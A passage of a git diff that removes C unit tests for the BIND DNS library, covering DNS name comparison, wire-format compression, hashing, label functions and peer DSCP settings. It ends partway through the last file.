-		cmocka_unit_test_setup_teardown(include_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(master_includelist_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(includefail_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(blanklines_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(leadingzero_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(totext_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(loadraw_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(dumpraw_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(toobig_test, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(maxrdata_test, _setup,
-						_teardown),
-		cmocka_unit_test_setup_teardown(neworigin_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/name_test.c b/lib/dns/tests/name_test.c
deleted file mode 100644
index 5cb94f505e..0000000000
--- a/lib/dns/tests/name_test.c
+++ /dev/null
@@ -1,794 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stdbool.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/buffer.h>
-#include <isc/commandline.h>
-#include <isc/mem.h>
-#include <isc/os.h>
-#include <isc/print.h>
-#include <isc/thread.h>
-#include <isc/util.h>
-
-#include <dns/compress.h>
-#include <dns/fixedname.h>
-#include <dns/name.h>
-
-#include "dnstest.h"
-
-/* Set to true (or use -v option) for verbose output */
-static bool verbose = false;
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-/* dns_name_fullcompare test */
-static void
-fullcompare_test(void **state) {
-	dns_fixedname_t fixed1;
-	dns_fixedname_t fixed2;
-	dns_name_t *name1;
-	dns_name_t *name2;
-	dns_namereln_t relation;
-	int i;
-	isc_result_t result;
-	struct {
-		const char *name1;
-		const char *name2;
-		dns_namereln_t relation;
-		int order;
-		unsigned int nlabels;
-	} data[] = {
-		/* relative */
-		{ "", "", dns_namereln_equal, 0, 0 },
-		{ "foo", "", dns_namereln_subdomain, 1, 0 },
-		{ "", "foo", dns_namereln_contains, -1, 0 },
-		{ "foo", "bar", dns_namereln_none, 4, 0 },
-		{ "bar", "foo", dns_namereln_none, -4, 0 },
-		{ "bar.foo", "foo", dns_namereln_subdomain, 1, 1 },
-		{ "foo", "bar.foo", dns_namereln_contains, -1, 1 },
-		{ "baz.bar.foo", "bar.foo", dns_namereln_subdomain, 1, 2 },
-		{ "bar.foo", "baz.bar.foo", dns_namereln_contains, -1, 2 },
-		{ "foo.example", "bar.example", dns_namereln_commonancestor, 4,
-		  1 },
-
-		/* absolute */
-		{ ".", ".", dns_namereln_equal, 0, 1 },
-		{ "foo.", "bar.", dns_namereln_commonancestor, 4, 1 },
-		{ "bar.", "foo.", dns_namereln_commonancestor, -4, 1 },
-		{ "foo.example.", "bar.example.", dns_namereln_commonancestor,
-		  4, 2 },
-		{ "bar.foo.", "foo.", dns_namereln_subdomain, 1, 2 },
-		{ "foo.", "bar.foo.", dns_namereln_contains, -1, 2 },
-		{ "baz.bar.foo.", "bar.foo.", dns_namereln_subdomain, 1, 3 },
-		{ "bar.foo.", "baz.bar.foo.", dns_namereln_contains, -1, 3 },
-		{ NULL, NULL, dns_namereln_none, 0, 0 }
-	};
-
-	UNUSED(state);
-
-	name1 = dns_fixedname_initname(&fixed1);
-	name2 = dns_fixedname_initname(&fixed2);
-	for (i = 0; data[i].name1 != NULL; i++) {
-		int order = 3000;
-		unsigned int nlabels = 3000;
-
-		if (data[i].name1[0] == 0) {
-			dns_fixedname_init(&fixed1);
-		} else {
-			result = dns_name_fromstring2(name1, data[i].name1,
-						      NULL, 0, NULL);
-			assert_int_equal(result, ISC_R_SUCCESS);
-		}
-		if (data[i].name2[0] == 0) {
-			dns_fixedname_init(&fixed2);
-		} else {
-			result = dns_name_fromstring2(name2, data[i].name2,
-						      NULL, 0, NULL);
-			assert_int_equal(result, ISC_R_SUCCESS);
-		}
-		relation = dns_name_fullcompare(name1, name1, &order, &nlabels);
-		assert_int_equal(relation, dns_namereln_equal);
-		assert_int_equal(order, 0);
-		assert_int_equal(nlabels, name1->labels);
-
-		/* Some random initializer */
-		order = 3001;
-		nlabels = 3001;
-
-		relation = dns_name_fullcompare(name1, name2, &order, &nlabels);
-		assert_int_equal(relation, data[i].relation);
-		assert_int_equal(order, data[i].order);
-		assert_int_equal(nlabels, data[i].nlabels);
-	}
-}
-
-static void
-compress_test(dns_name_t *name1, dns_name_t *name2, dns_name_t *name3,
-	      unsigned char *expected, unsigned int length,
-	      dns_compress_t *cctx, dns_decompress_t *dctx) {
-	isc_buffer_t source;
-	isc_buffer_t target;
-	dns_name_t name;
-	unsigned char buf1[1024];
-	unsigned char buf2[1024];
-
-	isc_buffer_init(&source, buf1, sizeof(buf1));
-	isc_buffer_init(&target, buf2, sizeof(buf2));
-
-	assert_int_equal(dns_name_towire(name1, cctx, &source), ISC_R_SUCCESS);
-
-	assert_int_equal(dns_name_towire(name2, cctx, &source), ISC_R_SUCCESS);
-	assert_int_equal(dns_name_towire(name2, cctx, &source), ISC_R_SUCCESS);
-	assert_int_equal(dns_name_towire(name3, cctx, &source), ISC_R_SUCCESS);
-
-	isc_buffer_setactive(&source, source.used);
-
-	dns_name_init(&name, NULL);
-	RUNTIME_CHECK(dns_name_fromwire(&name, &source, dctx, 0, &target) ==
-		      ISC_R_SUCCESS);
-	RUNTIME_CHECK(dns_name_fromwire(&name, &source, dctx, 0, &target) ==
-		      ISC_R_SUCCESS);
-	RUNTIME_CHECK(dns_name_fromwire(&name, &source, dctx, 0, &target) ==
-		      ISC_R_SUCCESS);
-	RUNTIME_CHECK(dns_name_fromwire(&name, &source, dctx, 0, &target) ==
-		      ISC_R_SUCCESS);
-	dns_decompress_invalidate(dctx);
-
-	assert_int_equal(target.used, length);
-	assert_true(memcmp(target.base, expected, target.used) == 0);
-}
-
-/* name compression test */
-static void
-compression_test(void **state) {
-	unsigned int allowed;
-	dns_compress_t cctx;
-	dns_decompress_t dctx;
-	dns_name_t name1;
-	dns_name_t name2;
-	dns_name_t name3;
-	isc_region_t r;
-	unsigned char plain1[] = "\003yyy\003foo";
-	unsigned char plain2[] = "\003bar\003yyy\003foo";
-	unsigned char plain3[] = "\003xxx\003bar\003foo";
-	unsigned char plain[] = "\003yyy\003foo\0\003bar\003yyy\003foo\0\003"
-				"bar\003yyy\003foo\0\003xxx\003bar\003foo";
-
-	UNUSED(state);
-
-	dns_name_init(&name1, NULL);
-	r.base = plain1;
-	r.length = sizeof(plain1);
-	dns_name_fromregion(&name1, &r);
-
-	dns_name_init(&name2, NULL);
-	r.base = plain2;
-	r.length = sizeof(plain2);
-	dns_name_fromregion(&name2, &r);
-
-	dns_name_init(&name3, NULL);
-	r.base = plain3;
-	r.length = sizeof(plain3);
-	dns_name_fromregion(&name3, &r);
-
-	/* Test 1: NONE */
-	allowed = DNS_COMPRESS_NONE;
-	assert_int_equal(dns_compress_init(&cctx, -1, dt_mctx), ISC_R_SUCCESS);
-	dns_compress_setmethods(&cctx, allowed);
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_STRICT);
-	dns_decompress_setmethods(&dctx, allowed);
-
-	compress_test(&name1, &name2, &name3, plain, sizeof(plain), &cctx,
-		      &dctx);
-
-	dns_compress_rollback(&cctx, 0);
-	dns_compress_invalidate(&cctx);
-
-	/* Test2: GLOBAL14 */
-	allowed = DNS_COMPRESS_GLOBAL14;
-	assert_int_equal(dns_compress_init(&cctx, -1, dt_mctx), ISC_R_SUCCESS);
-	dns_compress_setmethods(&cctx, allowed);
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_STRICT);
-	dns_decompress_setmethods(&dctx, allowed);
-
-	compress_test(&name1, &name2, &name3, plain, sizeof(plain), &cctx,
-		      &dctx);
-
-	dns_compress_rollback(&cctx, 0);
-	dns_compress_invalidate(&cctx);
-
-	/* Test3: ALL */
-	allowed = DNS_COMPRESS_ALL;
-	assert_int_equal(dns_compress_init(&cctx, -1, dt_mctx), ISC_R_SUCCESS);
-	dns_compress_setmethods(&cctx, allowed);
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_STRICT);
-	dns_decompress_setmethods(&dctx, allowed);
-
-	compress_test(&name1, &name2, &name3, plain, sizeof(plain), &cctx,
-		      &dctx);
-
-	dns_compress_rollback(&cctx, 0);
-	dns_compress_invalidate(&cctx);
-
-	/* Test4: NONE disabled */
-	allowed = DNS_COMPRESS_NONE;
-	assert_int_equal(dns_compress_init(&cctx, -1, dt_mctx), ISC_R_SUCCESS);
-	dns_compress_setmethods(&cctx, allowed);
-	dns_compress_disable(&cctx);
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_STRICT);
-	dns_decompress_setmethods(&dctx, allowed);
-
-	compress_test(&name1, &name2, &name3, plain, sizeof(plain), &cctx,
-		      &dctx);
-
-	dns_compress_rollback(&cctx, 0);
-	dns_compress_invalidate(&cctx);
-
-	/* Test5: GLOBAL14 disabled */
-	allowed = DNS_COMPRESS_GLOBAL14;
-	assert_int_equal(dns_compress_init(&cctx, -1, dt_mctx), ISC_R_SUCCESS);
-	dns_compress_setmethods(&cctx, allowed);
-	dns_compress_disable(&cctx);
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_STRICT);
-	dns_decompress_setmethods(&dctx, allowed);
-
-	compress_test(&name1, &name2, &name3, plain, sizeof(plain), &cctx,
-		      &dctx);
-
-	dns_compress_rollback(&cctx, 0);
-	dns_compress_invalidate(&cctx);
-
-	/* Test6: ALL disabled */
-	allowed = DNS_COMPRESS_ALL;
-	assert_int_equal(dns_compress_init(&cctx, -1, dt_mctx), ISC_R_SUCCESS);
-	dns_compress_setmethods(&cctx, allowed);
-	dns_compress_disable(&cctx);
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_STRICT);
-	dns_decompress_setmethods(&dctx, allowed);
-
-	compress_test(&name1, &name2, &name3, plain, sizeof(plain), &cctx,
-		      &dctx);
-
-	dns_compress_rollback(&cctx, 0);
-	dns_compress_invalidate(&cctx);
-}
-
-/* is trust-anchor-telemetry test */
-static void
-istat_test(void **state) {
-	dns_fixedname_t fixed;
-	dns_name_t *name;
-	isc_result_t result;
-	size_t i;
-	struct {
-		const char *name;
-		bool istat;
-	} data[] = { { ".", false },
-		     { "_ta-", false },
-		     { "_ta-1234", true },
-		     { "_TA-1234", true },
-		     { "+TA-1234", false },
-		     { "_fa-1234", false },
-		     { "_td-1234", false },
-		     { "_ta_1234", false },
-		     { "_ta-g234", false },
-		     { "_ta-1h34", false },
-		     { "_ta-12i4", false },
-		     { "_ta-123j", false },
-		     { "_ta-1234-abcf", true },
-		     { "_ta-1234-abcf-ED89", true },
-		     { "_ta-12345-abcf-ED89", false },
-		     { "_ta-.example", false },
-		     { "_ta-1234.example", true },
-		     { "_ta-1234-abcf.example", true },
-		     { "_ta-1234-abcf-ED89.example", true },
-		     { "_ta-12345-abcf-ED89.example", false },
-		     { "_ta-1234-abcfe-ED89.example", false },
-		     { "_ta-1234-abcf-EcD89.example", false } };
-
-	UNUSED(state);
-
-	name = dns_fixedname_initname(&fixed);
-
-	for (i = 0; i < (sizeof(data) / sizeof(data[0])); i++) {
-		result = dns_name_fromstring(name, data[i].name, 0, NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		assert_int_equal(dns_name_istat(name), data[i].istat);
-	}
-}
-
-/* dns_nane_init */
-static void
-init_test(void **state) {
-	dns_name_t name;
-	unsigned char offsets[1];
-
-	UNUSED(state);
-
-	dns_name_init(&name, offsets);
-
-	assert_null(name.ndata);
-	assert_int_equal(name.length, 0);
-	assert_int_equal(name.labels, 0);
-	assert_int_equal(name.attributes, 0);
-	assert_ptr_equal(name.offsets, offsets);
-	assert_null(name.buffer);
-}
-
-/* dns_nane_invalidate */
-static void
-invalidate_test(void **state) {
-	dns_name_t name;
-	unsigned char offsets[1];
-
-	UNUSED(state);
-
-	dns_name_init(&name, offsets);
-	dns_name_invalidate(&name);
-
-	assert_null(name.ndata);
-	assert_int_equal(name.length, 0);
-	assert_int_equal(name.labels, 0);
-	assert_int_equal(name.attributes, 0);
-	assert_null(name.offsets);
-	assert_null(name.buffer);
-}
-
-/* dns_nane_setbuffer/hasbuffer */
-static void
-buffer_test(void **state) {
-	dns_name_t name;
-	unsigned char buf[BUFSIZ];
-	isc_buffer_t b;
-
-	UNUSED(state);
-
-	isc_buffer_init(&b, buf, BUFSIZ);
-	dns_name_init(&name, NULL);
-	dns_name_setbuffer(&name, &b);
-	assert_ptr_equal(name.buffer, &b);
-	assert_true(dns_name_hasbuffer(&name));
-}
-
-/* dns_nane_isabsolute */
-static void
-isabsolute_test(void **state) {
-	struct {
-		const char *namestr;
-		bool expect;
-	} testcases[] = { { "x", false },
-			  { "a.b.c.d.", true },
-			  { "x.z", false } };
-	unsigned int i;
-
-	UNUSED(state);
-
-	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
-		isc_result_t result;
-		dns_name_t name;
-		unsigned char data[BUFSIZ];
-		isc_buffer_t b, nb;
-		size_t len;
-
-		len = strlen(testcases[i].namestr);
-		isc_buffer_constinit(&b, testcases[i].namestr, len);
-		isc_buffer_add(&b, len);
-
-		dns_name_init(&name, NULL);
-		isc_buffer_init(&nb, data, BUFSIZ);
-		dns_name_setbuffer(&name, &nb);
-		result = dns_name_fromtext(&name, &b, NULL, 0, NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		assert_int_equal(dns_name_isabsolute(&name),
-				 testcases[i].expect);
-	}
-}
-
-/* dns_nane_hash */
-static void
-hash_test(void **state) {
-	struct {
-		const char *name1;
-		const char *name2;
-		bool expect;
-		bool expecti;
-	} testcases[] = {
-		{ "a.b.c.d", "A.B.C.D", true, false },
-		{ "a.b.c.d.", "A.B.C.D.", true, false },
-		{ "a.b.c.d", "a.b.c.d", true, true },
-		{ "A.B.C.D.", "A.B.C.D.", true, false },
-		{ "x.y.z.w", "a.b.c.d", false, false },
-		{ "x.y.z.w.", "a.b.c.d.", false, false },
-	};
-	unsigned int i;
-
-	UNUSED(state);
-
-	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
-		isc_result_t result;
-		dns_fixedname_t f1, f2;
-		dns_name_t *n1, *n2;
-		unsigned int h1, h2;
-
-		n1 = dns_fixedname_initname(&f1);
-		n2 = dns_fixedname_initname(&f2);
-
-		result = dns_name_fromstring2(n1, testcases[i].name1, NULL, 0,
-					      NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		result = dns_name_fromstring2(n2, testcases[i].name2, NULL, 0,
-					      NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		/* Check case-insensitive hashing first */
-		h1 = dns_name_hash(n1, false);
-		h2 = dns_name_hash(n2, false);
-
-		if (verbose) {
-			print_message("# %s hashes to %u, "
-				      "%s to %u, case insensitive\n",
-				      testcases[i].name1, h1,
-				      testcases[i].name2, h2);
-		}
-
-		assert_int_equal((h1 == h2), testcases[i].expect);
-
-		/* Now case-sensitive */
-		h1 = dns_name_hash(n1, false);
-		h2 = dns_name_hash(n2, false);
-
-		if (verbose) {
-			print_message("# %s hashes to %u, "
-				      "%s to %u, case sensitive\n",
-				      testcases[i].name1, h1,
-				      testcases[i].name2, h2);
-		}
-
-		assert_int_equal((h1 == h2), testcases[i].expect);
-	}
-}
-
-/* dns_nane_issubdomain */
-static void
-issubdomain_test(void **state) {
-	struct {
-		const char *name1;
-		const char *name2;
-		bool expect;
-	} testcases[] = {
-		{ "c.d", "a.b.c.d", false }, { "c.d.", "a.b.c.d.", false },
-		{ "b.c.d", "c.d", true },    { "a.b.c.d.", "c.d.", true },
-		{ "a.b.c", "a.b.c", true },  { "a.b.c.", "a.b.c.", true },
-		{ "x.y.z", "a.b.c", false }
-	};
-	unsigned int i;
-
-	UNUSED(state);
-
-	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
-		isc_result_t result;
-		dns_fixedname_t f1, f2;
-		dns_name_t *n1, *n2;
-
-		n1 = dns_fixedname_initname(&f1);
-		n2 = dns_fixedname_initname(&f2);
-
-		result = dns_name_fromstring2(n1, testcases[i].name1, NULL, 0,
-					      NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		result = dns_name_fromstring2(n2, testcases[i].name2, NULL, 0,
-					      NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		if (verbose) {
-			print_message("# check: %s %s a subdomain of %s\n",
-				      testcases[i].name1,
-				      testcases[i].expect ? "is" : "is not",
-				      testcases[i].name2);
-		}
-
-		assert_int_equal(dns_name_issubdomain(n1, n2),
-				 testcases[i].expect);
-	}
-}
-
-/* dns_nane_countlabels */
-static void
-countlabels_test(void **state) {
-	struct {
-		const char *namestr;
-		unsigned int expect;
-	} testcases[] = {
-		{ "c.d", 2 },	  { "c.d.", 3 },  { "a.b.c.d.", 5 },
-		{ "a.b.c.d", 4 }, { "a.b.c", 3 }, { ".", 1 },
-	};
-	unsigned int i;
-
-	UNUSED(state);
-
-	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
-		isc_result_t result;
-		dns_fixedname_t fname;
-		dns_name_t *name;
-
-		name = dns_fixedname_initname(&fname);
-
-		result = dns_name_fromstring2(name, testcases[i].namestr, NULL,
-					      0, NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		if (verbose) {
-			print_message("# %s: expect %u labels\n",
-				      testcases[i].namestr,
-				      testcases[i].expect);
-		}
-
-		assert_int_equal(dns_name_countlabels(name),
-				 testcases[i].expect);
-	}
-}
-
-/* dns_nane_getlabel */
-static void
-getlabel_test(void **state) {
-	struct {
-		const char *name1;
-		unsigned int pos1;
-		const char *name2;
-		unsigned int pos2;
-	} testcases[] = {
-		{ "c.d", 1, "a.b.c.d", 3 },
-		{ "a.b.c.d", 3, "c.d", 1 },
-		{ "a.b.c.", 3, "A.B.C.", 3 },
-	};
-	unsigned int i;
-
-	UNUSED(state);
-
-	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
-		isc_result_t result;
-		dns_fixedname_t f1, f2;
-		dns_name_t *n1, *n2;
-		dns_label_t l1, l2;
-		unsigned int j;
-
-		n1 = dns_fixedname_initname(&f1);
-		n2 = dns_fixedname_initname(&f2);
-
-		result = dns_name_fromstring2(n1, testcases[i].name1, NULL, 0,
-					      NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		result = dns_name_fromstring2(n2, testcases[i].name2, NULL, 0,
-					      NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		dns_name_getlabel(n1, testcases[i].pos1, &l1);
-		dns_name_getlabel(n2, testcases[i].pos2, &l2);
-		assert_int_equal(l1.length, l2.length);
-
-		for (j = 0; j < l1.length; j++) {
-			assert_int_equal(l1.base[j], l2.base[j]);
-		}
-	}
-}
-
-/* dns_nane_getlabelsequence */
-static void
-getlabelsequence_test(void **state) {
-	struct {
-		const char *name1;
-		unsigned int pos1;
-		const char *name2;
-		unsigned int pos2;
-		unsigned int range;
-	} testcases[] = {
-		{ "c.d", 1, "a.b.c.d", 3, 1 },
-		{ "a.b.c.d.e", 2, "c.d", 0, 2 },
-		{ "a.b.c", 0, "a.b.c", 0, 3 },
-	};
-	unsigned int i;
-
-	UNUSED(state);
-
-	for (i = 0; i < (sizeof(testcases) / sizeof(testcases[0])); i++) {
-		isc_result_t result;
-		dns_name_t t1, t2;
-		dns_fixedname_t f1, f2;
-		dns_name_t *n1, *n2;
-
-		/* target names */
-		dns_name_init(&t1, NULL);
-		dns_name_init(&t2, NULL);
-
-		/* source names */
-		n1 = dns_fixedname_initname(&f1);
-		n2 = dns_fixedname_initname(&f2);
-
-		result = dns_name_fromstring2(n1, testcases[i].name1, NULL, 0,
-					      NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		result = dns_name_fromstring2(n2, testcases[i].name2, NULL, 0,
-					      NULL);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		dns_name_getlabelsequence(n1, testcases[i].pos1,
-					  testcases[i].range, &t1);
-		dns_name_getlabelsequence(n2, testcases[i].pos2,
-					  testcases[i].range, &t2);
-
-		assert_true(dns_name_equal(&t1, &t2));
-	}
-}
-
-#ifdef DNS_BENCHMARK_TESTS
-
-/*
- * XXXMUKS: Don't delete this code. It is useful in benchmarking the
- * name parser, but we don't require it as part of the unit test runs.
- */
-
-/* Benchmark dns_name_fromwire() implementation */
-
-static void *
-fromwire_thread(void *arg) {
-	unsigned int maxval = 32000000;
-	uint8_t data[] = { 3,	'w', 'w', 'w', 7,   'e', 'x',
-			   'a', 'm', 'p', 'l', 'e', 7,	 'i',
-			   'n', 'v', 'a', 'l', 'i', 'd', 0 };
-	unsigned char output_data[DNS_NAME_MAXWIRE];
-	isc_buffer_t source, target;
-	unsigned int i;
-	dns_decompress_t dctx;
-
-	UNUSED(arg);
-
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_STRICT);
-	dns_decompress_setmethods(&dctx, DNS_COMPRESS_NONE);
-
-	isc_buffer_init(&source, data, sizeof(data));
-	isc_buffer_add(&source, sizeof(data));
-	isc_buffer_init(&target, output_data, sizeof(output_data));
-
-	/* Parse 32 million names in each thread */
-	for (i = 0; i < maxval; i++) {
-		dns_name_t name;
-
-		isc_buffer_clear(&source);
-		isc_buffer_clear(&target);
-		isc_buffer_add(&source, sizeof(data));
-		isc_buffer_setactive(&source, sizeof(data));
-
-		dns_name_init(&name, NULL);
-		(void)dns_name_fromwire(&name, &source, &dctx, 0, &target);
-	}
-
-	return (NULL);
-}
-
-static void
-benchmark_test(void **state) {
-	isc_result_t result;
-	unsigned int i;
-	isc_time_t ts1, ts2;
-	double t;
-	unsigned int nthreads;
-	isc_thread_t threads[32];
-
-	UNUSED(state);
-
-	debug_mem_record = false;
-
-	result = isc_time_now(&ts1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	nthreads = ISC_MIN(isc_os_ncpus(), 32);
-	nthreads = ISC_MAX(nthreads, 1);
-	for (i = 0; i < nthreads; i++) {
-		isc_thread_create(fromwire_thread, NULL, &threads[i]);
-	}
-
-	for (i = 0; i < nthreads; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	result = isc_time_now(&ts2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	t = isc_time_microdiff(&ts2, &ts1);
-
-	printf("%u dns_name_fromwire() calls, %f seconds, %f calls/second\n",
-	       nthreads * 32000000, t / 1000000.0,
-	       (nthreads * 32000000) / (t / 1000000.0));
-}
-
-#endif /* DNS_BENCHMARK_TESTS */
-
-int
-main(int argc, char **argv) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(fullcompare_test),
-		cmocka_unit_test_setup_teardown(compression_test, _setup,
-						_teardown),
-		cmocka_unit_test(istat_test),
-		cmocka_unit_test(init_test),
-		cmocka_unit_test(invalidate_test),
-		cmocka_unit_test(buffer_test),
-		cmocka_unit_test(isabsolute_test),
-		cmocka_unit_test(hash_test),
-		cmocka_unit_test(issubdomain_test),
-		cmocka_unit_test(countlabels_test),
-		cmocka_unit_test(getlabel_test),
-		cmocka_unit_test(getlabelsequence_test),
-#ifdef DNS_BENCHMARK_TESTS
-		cmocka_unit_test_setup_teardown(benchmark_test, _setup,
-						_teardown),
-#endif /* DNS_BENCHMARK_TESTS */
-	};
-	int c;
-
-	while ((c = isc_commandline_parse(argc, argv, "v")) != -1) {
-		switch (c) {
-		case 'v':
-			verbose = true;
-			break;
-		default:
-			break;
-		}
-	}
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/dns/tests/peer_test.c b/lib/dns/tests/peer_test.c
deleted file mode 100644
index 8f0759c555..0000000000
--- a/lib/dns/tests/peer_test.c
+++ /dev/null
@@ -1,173 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/util.h>
-
-#include <dns/peer.h>
-
-#include "dnstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
-
-/* Test DSCP set/get functions */
-static void
-dscp(void **state) {
-	isc_result_t result;
-	isc_netaddr_t netaddr;
-	struct in_addr ina;
-	dns_peer_t *peer = NULL;
-	isc_dscp_t dscp;
-
-	UNUSED(state);
-
-	/*
-	 * Create peer structure for the loopback address.
-	 */
-	ina.s_addr = INADDR_LOOPBACK;
-	isc_netaddr_fromin(&netaddr, &ina);
-	result = dns_peer_new(dt_mctx, &netaddr, &peer);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * All should be not set on creation.
-	 * 'dscp' should remain unchanged.
-	 */
-	dscp = 100;
-	result = dns_peer_getquerydscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_NOTFOUND);
-	assert_int_equal(dscp, 100);
-
-	result = dns_peer_getnotifydscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_NOTFOUND);
-	assert_int_equal(dscp, 100);
-
-	result = dns_peer_gettransferdscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_NOTFOUND);
-	assert_int_equal(dscp, 100);
-
-	/*
-	 * Test that setting query dscp does not affect the other
-	 * dscp values.  'dscp' should remain unchanged until
-	 * dns_peer_getquerydscp is called.
-	 */
-	dscp = 100;
-	result = dns_peer_setquerydscp(peer, 1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_peer_getnotifydscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_NOTFOUND);
-	assert_int_equal(dscp, 100);
-
-	result = dns_peer_gettransferdscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_NOTFOUND);
-	assert_int_equal(dscp, 100);
-
-	result = dns_peer_getquerydscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(dscp, 1);
-
-	/*
-	 * Test that setting notify dscp does not affect the other
-	 * dscp values.  'dscp' should remain unchanged until
-	 * dns_peer_getquerydscp is called then should change again
-	 * on dns_peer_getnotifydscp.
-	 */
-	dscp = 100;
-	result = dns_peer_setnotifydscp(peer, 2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_peer_gettransferdscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_NOTFOUND);
-	assert_int_equal(dscp, 100);
-
-	result = dns_peer_getquerydscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(dscp, 1);
-
-	result = dns_peer_getnotifydscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(dscp, 2);
-
-	/*
-	 * Test that setting notify dscp does not affect the other
-	 * dscp values.  Check that appropriate values are returned.
-	 */
-	dscp = 100;
-	result = dns_peer_settransferdscp(peer, 3);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = dns_peer_getquerydscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(dscp, 1);
-
-	result = dns_peer_getnotifydscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(dscp, 2);
-
-	result = dns_peer_gettransferdscp(peer, &dscp);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(dscp, 3);
-
-	dns_peer_detach(&peer);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(dscp, _setup, _teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
